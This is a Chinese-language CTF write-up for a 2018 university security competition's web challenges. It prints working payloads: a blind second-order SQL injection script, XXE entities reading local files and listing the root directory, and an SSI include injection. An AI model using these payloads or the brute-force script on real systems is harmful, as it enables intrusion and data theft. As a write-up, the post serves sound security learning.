美文网首页CTF信息安全toread
2018 高校网络信息安全 管理运维挑战赛Web_Writeup

2018 高校网络信息安全 管理运维挑战赛Web_Writeup

作者: Cyc1e | 来源:发表于2018-11-16 21:18 被阅读468次

    前言

    emmmm,很久没有好好的打比赛了,基本都是滑水,认真打的时候又被一些脑洞卡一天,难受,这次的题比较简单,所以Writeup也就简单些写了,可惜不会逆向,不然应该有那么点可能AK吧。

    SimpleBBS

    一个普通的BBS,进去随手在登入框输了个‘ ' ’就报错了,直接把SQL语句都爆出来了


    登录框POST注入.png
    甩sqlmap爆破,爆破的时候把level设置高一些,很多问我怎么他们没爆出来,应该就是因为level的原因吧。flag放在bbs库flag表flag字段里。 sqlmap得到flag.png

    SimpleBlog

    这道题目很明显是二次注入,由于很讨厌写注入的题,所以也是很后面才写,主要逻辑在于注册用户时我们插入SQL查询语句,登入后也在主页面提示分数为0什么的信息,所以在Final Exam页面测试,如果返回值显示的分数为非0,那么则表示注入的查询语句查询正确,若返回显示的分数为0,则说明查询失败,所以典型的盲注了,构造payload:' or if((ascii(substr((select flag from flag),1,1))=1),1,0)='1' or ' 作为注册用户名,这里坑了一下,刚开始用的是 and,在insert的时候 and 和 && 不会当作逻辑运算符执行,所以用 or 或者 || ,写个盲注脚本就好了。

    import string
    import requests
    
    result = ""
    url = 'http://210.32.4.20/register.php'
    url_2 = 'http://210.32.4.20/login.php'
    url_3 = 'http://210.32.4.20/answer.php'
    for i in range(1,50):
        for j in range(32,126):
            ss=requests.session()
            payload = "\' or if((ascii(substr((select flag from flag)," + str(i) + ",1))=" + str(j) + "),1,0)='1' or \'"
            post_an = {'1.a':'on'}
            post_data = {'username':payload,'password':'123'}
            r = ss.post(url=url,data=post_data)
            login = ss.post(url=url_2,data=post_data)
            an = ss.post(url=url_3,data=post_an)
            if 'Your grades is 0' not in an.content:
                e = chr(j)
                result = result + e
                print result
                break
    
    flag.png

    SimpleExtensionExplorerInjection

    题目写得很清楚这题是XXE的点,所以先抓一个http request包

    Http header.png
    application/json应该都很熟悉了,把json改成xml进行XXE注入,参考文章:https://landgrey.me/XMLBeam-XXE-Simple-Analysis/,发现构造:
    <root>
    <name>Cyc1e</name>
    <age>11</age>
    </root>
    

    时有一样的回显,那么就是CVE-2018-1259的洞了,构造payload:

    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE xxe [
    <!ELEMENT name ANY >
    <!ENTITY xxe SYSTEM "file:///flag" >]>
    <root>
    <name>&xxe;</name>
    </root>
    
    XXE_flag.png

    SimplePrintEventLogger

    这道题算非预期了,出题人木有把两个题目分开,所以导致捡漏了,看题目描述是同一个组件造成的RCE,那解法应该是参考:https://trex-tbag.github.io/2018/04/14/spring-data-common-cve/(没有去复现尝试)。
    由于和上一题共用同一个环境,flag都放在根目录下,那也就是文件名的问题,但是XXE是可以列目录的,构造payload:

    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE xxe [
    <!ELEMENT name ANY >
    <!ENTITY xxe SYSTEM "file:///" >]>
    <root>
    <name>&xxe;</name>
    </root>
    
    xxe.png

    可以直接列出更目录,很清楚的,RCE这题的flag就摆在这了,捡漏捡漏。


    RCE_flag.png

    SimpleServerInjection

    题目提示为SSI,刚开始看成了SSTI,一直在怒怼PHP的模版注入,坑了我好一段时间......既然是SSI,那就可以利用include来尝试包含本地文件 SSI.png

    我们利用include virtual,构造payload:

    name=<!--%23include virtual="flag" -->
    
    就可以得到flag,这里主要在于#号需要urlencode一下。 SSI.png

    SimpleWasmReverse

    这题最后卡wasm逆向上了,蛮写写思路

    查看源码.png 把flag.js下载到本地分析,可以看到调用了一个flag.wasm文件 flag.js.png 可以下载到flag.wasm进行分析,找到了一篇类似题目的writeup:https://tipi-hack.github.io/2018/04/01/quals-NDH-18-assemblyme.html,参照题目进行js调试判断调用函数,在check()函数上下断点跟进,可以看到调用了wasm中的$func53函数
    调用函数

    所以接下来要做的主要就是反编译wasm文件,找到$func53函数进行分析,奈何wasm反编译后是3M的C源码。。。。。。而且变量名都变了,作为一个逆向只好爆破什么的来说,到这就放弃了,思路肯定是没毛病的了,分析调用的函数就可以的到flag{xxxxxx},页面提交就可以得到flag的吧,坐等Writeup

    题目相对比较简单,差一题ak比较可惜,不过也不会逆向,木有办法,仅供学习。

    相关文章

      网友评论

        本文标题:2018 高校网络信息安全 管理运维挑战赛Web_Writeup

        本文链接:https://www.haomeiwen.com/subject/pjdvfqtx.html